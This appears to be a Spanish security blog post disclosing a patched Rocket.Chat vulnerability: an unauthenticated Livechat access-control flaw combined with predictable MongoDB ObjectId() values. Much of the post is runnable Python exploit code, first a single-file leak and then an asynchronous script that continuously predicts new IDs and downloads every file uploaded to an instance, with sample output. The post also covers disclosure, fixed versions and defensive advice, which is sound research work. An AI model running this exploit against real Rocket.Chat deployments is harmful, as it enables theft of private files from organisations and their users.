Predicción continua de ObjectId() de MongoDB en Rocket.Chat

Las aplicaciones que utilizan MongoDB suelen caer en el error de tratar el ObjectId() funcionar de forma criptográficamente segura. Recientemente, hemos descubierto que Rocket.Chat, una aplicación de código abierto similar a Slack, ha sido víctima de esto. En Aikido, utilizamos Pruebas de penetración con IA en diversas aplicaciones de código abierto para poner a prueba a nuestros agentes e identificar sus puntos fuertes y aspectos mejorables. Durante la prueba de penetración, uno de los agentes informó de que un usuario de Rocket.Chat sin autenticar puede acceder a cualquier archivo subido si conoce su ID. El ID se genera con MongoDB’s ObjectId() y, a primera vista, parecen aleatorias, pero cuando las analizas más a fondo, ¡nada más lejos de la realidad!

En esta entrada, demostraremos cómo un atacante puede obtener de forma continua todos los ID válidos generados. Describiremos un ataque que analiza el ID actual para predecir todos los demás ID generados por la aplicación. Esto se ilustra capturando todos los archivos subidos a una instancia de Rocket.Chat. El ataque podría aplicarse a diferentes aplicaciones que utilicen MongoDB con las mismas primitivas, más allá de Rocket.Chat.

Detectamos y notificamos el problema en Rocket.Chat el 21 de abril a través de HackerOne (ahora hecho público: n. º 3687142). A fecha de 12 de junio, ya se ha corregido en las versiones 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 y 7.10.13. Si tú o tu organización alojáis una instancia de Rocket.Chat, actualizad a cualquiera de estas versiones o a una más reciente lo antes posible, si aún no lo habéis hecho. Dado que se trata de un exploit sin autenticación, cualquier persona con acceso a la red puede aprovecharlo.

La vulnerabilidad

Antes de entrar en detalle sobre la técnica de explotación, permíteme explicarte con más detalle cómo funciona Rocket.Chat.

La principal finalidad de Rocket.Chat es la comunicación con tu organización y tu equipo. Las conversaciones se distribuyen en canales configurables, y los usuarios pueden compartir archivos además de chatear. Para comprender la superficie de ataque sin autenticación, en la configuración predeterminada, los usuarios no pueden registrarse por sí mismos y es necesario iniciar sesión para abrir la aplicación.

También hay un componente opcional llamado Chat en vivo, que es, en esencia, un chat de asistencia técnica sin autenticación. Aunque es opcional, es activado por defecto, pero no se ve a menos que vayas directamente a /chat en directo:

Livechat permite a los usuarios enviar un mensaje de texto sin formato al servicio de asistencia. Además, este widget admite la subida de archivos, pero el campo de entrada está desactivado por defecto (por lo que no se ve en la captura de pantalla anterior). No obstante, el punto final de la API para subir archivos sin autenticación sigue estando accesible. Esta es la función principal que utilizaremos en nuestro futuro exploit.

Los archivos subidos a través de cualquiera de estas funciones (canales autenticados y chat en directo no autenticado) se almacenan en la misma ubicación: /file-upload/{fileId}. Esto genera algunas complicaciones en la lógica de autorización. ¿Podríamos aprovechar alguna vulnerabilidad de Livechat para leer las subidas reales del canal?

Uno de los agentes se percató de algo extraño en FileUpload.ts. Hay dos Hay diferentes formas de definir el ID de sala de un archivo. En primer lugar, la autorización se realiza mediante requestCanAccessFiles que dice así: rc_rid (montar = ID de la sala) de la cadena de consulta.

async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
    const { query } = URL.parse(url, true);
    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
    ...
   const isAuthorizedByRoom = async () =>
        rc_room_type &&
        roomCoordinator
            .getRoomDirectives(rc_room_type)
            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });

El dado rc_rid se pasa a canAccessUploadedFile junto con el rc_token parámetro para comprobar que tienes acceso a esa sala y que deberías poder leer el archivo:

async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},

En segundo lugar, está la llamada a FileUpload.requestCanAccessFiles, que obtiene el archivo del /file-upload/{fileId}/… ruta y la busca directamente en la base de datos:

WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
    const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');

    if (match?.[1]) {
        const file = await Uploads.findOneById(match[1]);

        if (file) {
            if (!(await FileUpload.requestCanAccessFiles(req, file))) {

Esta archivo también tiene un montar (ID de la sala), que puede ser diferente del indicado rc_rid en la URL. ¿Qué pasaría si no coincidieran?

La respuesta es una grave vulnerabilidad. Rocket.Chat no comprueba que el archivo que estás solicitando se encuentre dentro de la sala cuyo acceso estás verificando. Eso significa que puedes indicar cualquier sala ficticia válida y, a continuación, especificar un fileId en el parámetro «path» para obtener su contenido.

Veámoslo en la práctica. Primero subimos cualquier archivo a un canal como víctima. En la captura de pantalla que aparece a continuación, el usuario administrador subió file.txt:

A continuación, copia el enlace del archivo, por ejemplo:
https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
Si se accede sin más a la URL en una pestaña de incógnito, aparece un error 403, por lo que debería ser privada. Ahora veamos si podemos acceder a ella a través de la función de chat en vivo.

Toma el fileId parte 6a325394876fbe9c70b1b03f, y solicitemos la misma URL con cualquier usuario anónimo de una sala de Livechat. Podemos crear una sesión registrándonos primero como «visitante» con cualquier valor de token y, a continuación, solicitando nuestro ID de sala. Con este ID de sala válido, si nuestro exploit funciona, podremos obtener cualquier archivo con solo conocer su fileId. Porque no se comprueba si la habitación real del archivo coincide con nuestra habitación temporal.

Vamos a crear paso a paso un script en Python para nuestro exploit final. Empezaremos por poner en práctica esta idea:

HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"

s = requests.Session()

token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor", 
       json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room", 
          params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}")  # ceHsTjGSTfvAzWHk2

# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x", 
          params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text)  # SUPER SECRET DATA
print(r.headers["Content-Disposition"])  # attachment; filename*=UTF-8''file.txt

Hemos conseguido filtrar el DATOS SUPER SECRETOS dentro file.txt! También obtenemos el nombre del archivo original en el Content-Disposition: encabezado, lo que facilita saber qué es lo que realmente debe contener el archivo.

Un hallazgo genial por parte del agente, pero se basaba en el conocimiento de algo difícil de adivinar fileId: 6a325394876fbe9c70b1b03f. Parece un valor aleatorio compuesto por 12 bytes. Incluso con un millón de solicitudes por segundo, se necesitarían unos cuantos miles de vidas del universo antes de que se produjera la primera coincidencia. No es del todo realista.

Tras revisar manualmente una parte más del código fuente de la aplicación, no hemos encontrado ninguna forma de obtener directamente ninguno de estos identificadores de archivo a partir de otras fuentes. ¿Cómo podemos generar un identificador válido?

La primera pista proviene del hecho de que este ID lo genera el ObjectId() función. «¿Y eso en qué nos ayuda?», te preguntarás.

MongoDB ObjectId()

Tal y como se explica en la documentación, un ObjectId se compone de:

• Una marca de tiempo de 4 bytes que indica la fecha de creación del ObjectId, expresada en segundos desde la época Unix.
• Un valor aleatorio de 5 bytes que se genera una vez por cada proceso del lado del cliente. Este valor aleatorio es único para cada máquina y cada proceso. Si el proceso se reinicia o cambia el nodo principal del proceso, este valor se vuelve a generar.
• Un contador incremental de 3 bytes por cada proceso del lado del cliente, inicializado con un valor aleatorio. El contador se reinicia cuando se reinicia un proceso.

Así pues, un ID como 6a325394876fbe9c70b1b03f se puede dividir en:

Además, dice lo siguiente:

> En el caso de los valores de marca de tiempo y contador, los bytes más significativos aparecen en primer lugar en la secuencia de bytes (big-endian)

Así pues, nuestra marca de tiempo 6a325394 se puede descodificar como el 17 de junio de 2026 a las 9:58:12 de la mañana:

>>> de fecha y hora import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)

El valor del contador b1b03f también es un entero «big-endian». b1b03f + 1 sería b1b040, el siguiente ID. Este contador se inicializa de forma aleatoria y vuelve a empezar en ffffff con 000000.

Además, resulta bastante obvio si comparamos ahora dos identificadores de archivo consecutivos. Están lejos de ser aleatorios.

1. 6a325394876fbe9c70b1b03f
2. 6a325a30876fbe9c70b1b048

Predecir de forma totalmente aleatoria

Dada esta baja entropía, se podría pensar que basta con probar todos los identificadores posibles hasta dar con un archivo existente. Aunque esto es cierto en gran medida para la marca de tiempo (solo disponemos de los segundos transcurridos en los últimos meses), desconocemos el valor aleatorio estático de 5 bytes, y el contador también se inicializa de forma aleatoria.

Solo el valor aleatorio estático tiene más de un billón de posibilidades (256^5). A un ritmo de 1.000 solicitudes por segundo, seguirías esperando unos 18 años. Para entonces, me sorprendería que el ordenador del atacante siguiera funcionando.

Podemos dar por hecho que esto es imposible.

Predicción a partir de un punto de referencia

La mejor forma de abordar esto es encontrar cualquier ObjectId() salida a partir de la aplicación y, a partir de ahí, predecir los futuros. Un «punto de referencia». En Rocket.Chat, por suerte para nosotros, hay una forma muy sencilla de hacerlo con la función de chat en directo que ya estamos utilizando. Si simplemente subimos un archivo de forma anónima, obtenemos su ID, y esa es nuestra muestra.

r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}", 
            headers={"x-visitor-token": token}, 
            files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}")  # 6a325fbf876fbe9c70b1b053

Ahora disponemos de dos primitivas obligatorias:

1. Algo a lo que no deberíamos tener acceso es accesible si sabemos que es ObjectId()
2. Tenemos una forma de generar y lee nuestro propio ObjectId()

Con esto en mente, podemos avanzar mucho más. Para encontrar archivos subidos por otros usuarios, tenemos que pensar en qué cambia: la marca de tiempo y el contador. La marca de tiempo tendremos que reducirla en segundos hasta llegar a la hora que queramos. Pero en el caso del contador, no sabemos realmente en cuánto reducirlo, ya que otras funciones pueden generar ObjectId()Mejor así, ya que así nos saltamos algunos valores de los identificadores de archivo que buscamos.

Con solo adivinar algunos rangos, ya podemos obtener resultados bastante satisfactorios:

# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")

# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
    for c in range(counter - 20, counter):
        t = timestamp - timedelta(seconds=delta)  # Go backwards
        # Create new potential ObjectId()
        oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
        if oid == probe_id:
            continue  # Skip our own file

        # Try requesting it, if successful, print it
        r = s.get(f"{HOST}/file-upload/{oid}/x", 
            params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.ok:
            tqdm.write(f"{oid}: {r.text!r}")

Si subimos un archivo a Rocket.Chat y, poco después, ejecutamos este script, este detecta el ID y sus datos (recorriendo los últimos 5 minutos y los 20 ID anteriores en el contador). A continuación se muestra un ejemplo del resultado que puedes esperar:

probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             
  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]

Aunque es viable para una prueba de concepto, en un ataque real no sabrás exactamente cuándo la víctima sube su archivo. Además, un entorno real podría tener mucho más tráfico que nuestro entorno local, lo que generaría muchos ObjectId()Lo mismo ocurre con otras características que desplazan los identificadores de archivo. Tenemos que ser más rápidos y encontrar una forma de garantizar que cubrimos todos los identificadores de archivo sin hacer suposiciones sobre la marca de tiempo o el contador.

Buscar continuamente todos los ObjectId()

Un gran cuello de botella actual es que estamos solicitando cada ID de forma sincrónica, uno por uno. Mientras esperamos una respuesta del servidor, no hacemos nada. Al convertir el código para que sea asíncrono con una biblioteca como httpx, podemos crear varios procesos de trabajo que envíen solicitudes desde una cola al mismo tiempo.
Extraeremos el nombre del archivo del Content-Disposition: encabezado al mismo tiempo, y guarda el archivo con el nombre filtraciones/ en el equipo, con su nombre de archivo original.

async def get_token(client):
    token = "x"
    r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
    r.raise_for_status()
    r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
    r.raise_for_status()
    rid = r.json()["room"]["_id"]
    return token, rid

async def oid_worker(client, i, queue, rid, token):
    while True:
        oid = await queue.get()
        print(f"Worker {i} requesting {oid}")
        r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.status_code == 200:
           filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
            try:
                content = r.text
            except UnicodeDecodeError:
                content = r.content
            print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
            with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
                f.write(r.content)

async def main():
    queue = asyncio.Queue()
    num_workers = 10

    async with httpx.AsyncClient() as client:
        token, rid = await get_token(client)
        print(f"{rid=}")

        print("Starting producer loop...")
        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second
        print(f"Starting {num_workers} workers...")
        worker_tasks = [
            asyncio.create_task(oid_worker(client, i, queue, rid, token))
            for i in range(num_workers)
        ]
        await asyncio.gather(producer_task, *worker_tasks)

if __name__ == "__main__":
    asyncio.run(main())

Para asegurarnos de que cubrimos todos los ID existentes, podemos aprovechar la diferencia entre varias sondas. Si una sonda anterior detectó que el contador estaba en 100 y la siguiente sonda, un poco más tarde (por ejemplo, 10 segundos después), lo detectó en 122, sabemos que se generaron 22 ID en ese intervalo de tiempo. El intervalo de la marca de tiempo también queda claro de inmediato: 10 segundos. Así que podemos recorrer los 10 × 22 ID lo más rápido posible.

Una vez hecho esto, podemos enviar otra solicitud 10 segundos más tarde; supongamos que, en ese momento, el contador está en 130. Si comparamos ese valor con el de la solicitud anterior, que era 122, tendremos que probar de nuevo 8 valores del contador a lo largo de 10 segundos.
Podemos mantener este bucle en marcha, generando huecos en los ID mediante solicitudes continuas a intervalos cortos y recuperándolos rápidamente mediante trabajadores asíncronos.

Si lo visualizamos, el algoritmo funciona más o menos así. En lugar de recuperar un rango completo de 9 × 26 = 234 ID, podemos obtener muestras de la aplicación para reducir el tamaño de los rectángulos en los que realizamos la búsqueda. La suma de estos rangos más pequeños es de 6 + 16 + 45 = 67, una cifra mucho menor que la del rango completo sin optimizar.

Si mantenemos el programa en funcionamiento y las solicitudes son lo suficientemente rápidas, podemos garantizar que se procesarán todos los ID de archivo posibles.

En nuestra implementación en Python, esto no es difícil de llevar a cabo. Solo tenemos que dividir cada ID de sondeo para extraer su marca de tiempo y su contador, y compararlos con los del anterior.
Si somos listos, podemos guardar y descartar los valores de nuestro propio contador de sondas en la búsqueda, ya que estos nunca serán los archivos secretos que estamos buscando. Un caso especial a tener en cuenta es que el contador se reinicie al llegar a ffffff con 000000 si alcanza ese límite, por lo que tenemos que utilizar un módulo para asegurarnos de que no supere los 3 bytes.

PRODUCER_INTERVAL = 10

def split_probe_id(probe_id):
    timestamp = int(probe_id[0:8], 16)
    random = probe_id[8:18]
    counter = int(probe_id[18:24], 16)
    return timestamp, random, counter

def mod_range(start, stop, modulus):
    for i in range((stop - start) % modulus):
        yield (start + i) % modulus

async def oid_producer(client, queue, rid, token):
    prev_probe_id = await get_probe_id(client, rid, token)
    probes = set([split_probe_id(prev_probe_id)[2]])
    await asyncio.sleep(PRODUCER_INTERVAL)
    while True:
        probe_id = await get_probe_id(client, rid, token)
        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
        timestamp, random, counter = split_probe_id(probe_id)
        probes.add(counter)
        i = 0
        for t in range(prev_timestamp, timestamp):
            for c in mod_range(prev_counter, counter, 0x1000000):
                if c in probes:
                    continue  # Skip our own files
                oid = f"{t:08x}{random}{c:06x}"
                await queue.put(oid)
                i += 1
        print(f"Produced {i} IDs")
        prev_probe_id = probe_id
        await asyncio.sleep(PRODUCER_INTERVAL)

Ahora que por fin ejecutamos el script, podemos ver que en nuestra instancia local todo transcurre con bastante tranquilidad mientras no ocurre nada. Omitimos nuestros propios ID y la diferencia con respecto a la prueba anterior es de solo 1. Hasta que abrimos la aplicación y subimos un archivo; en menos de 10 segundos, el script de explotación lo detecta y un trabajador que lo ha recogido lo filtra:

Iniciando el bucle de producción...
Iniciando 10 trabajadores...
Producidos 0 ID
Producidos 0 ID
...
Producidos 22 ID
Trabajador 0 que solicita 6a32774c876fbe9c70b1b112
Trabajador 1 solicitando 6a32774c876fbe9c70b1b113
...
Trabajador 3 solicitando 6a327754876fbe9c70b1b113
[FILTRACIÓN] 6a32774e876fbe9c70b1b112: «DATOS SUPER SECRETOS»
Trabajador 5 solicitando 6a327756876fbe9c70b1b113
Generado 0 ID

¡Éxito! Mientras se ejecuta el script, ahora estamos identificando y filtrando todos los archivos subidos a la instancia de Rocket.Chat. Gracias a las mejoras en la velocidad, la instancia se puede utilizar con normalidad sin que el script se vea muy afectado; además, al tratarse de una cola, si hay demasiado trabajo, simplemente se pondrá al día cuando haya menos actividad.Ten en cuenta que el intervalo de 10 segundos que estamos utilizando actualmente es totalmente arbitrario: cuanto menor sea el valor que establezcas, más reducidos serán los rangos posibles, por lo que detectarás con mayor precisión cuándo se sube un archivo. Puedes decidir por ti mismo el equilibrio entre el número de solicitudes de sondeo y el número de solicitudes de ataque por fuerza bruta.

Mira la demostración de concepto en este vídeo:

Conclusiones

Rocket.Chat ha solucionado el problema de control de acceso (#40889) pasando el archivo en canAccessUploadedFile(), y comprobar que el archivo seleccionado coincide con el ID de sala especificado en el parámetro de consulta.

A modo de orientación general, en el caso de los identificadores aleatorios, recomendamos no basarse en ObjectId(), es casi tan inseguro como un simple identificador incremental. Como medida de defensa en profundidad, utiliza UUIDv4 para generar cadenas aleatorias seguras, de modo que, incluso si hubiera fallos en el control de acceso, un atacante aún necesitaría un segundo paso para descubrir los identificadores.

Aunque nuestro agente detectó con éxito la vulnerabilidad IDOR, en un primer momento no mencionó la previsibilidad de MongoDB ObjectId(), ya que una sola muestra parece aleatoria a primera vista. Gracias a los cambios que hemos introducido tras esta investigación, los agentes ahora analizan la entropía de dichos identificadores para explicar con mayor precisión la probabilidad de que se produzca un abuso en los informes.

Los investigadores de seguridad y los pentesters que quieran mejorar el realismo de sus PoC de IDOR ya saben que pueden predecir fácilmente los ID de MongoDB. Es algo a lo que hay que prestar atención siempre que haya dos ID que se parezcan de forma inquietante.

Nuestra pentesting de IA lo descubrió por sí sola. Si quieres realizar pruebas de penetración rápidas y de alta calidad en tu aplicación, echa un vistazo a la suite de pruebas de penetración de Aikido.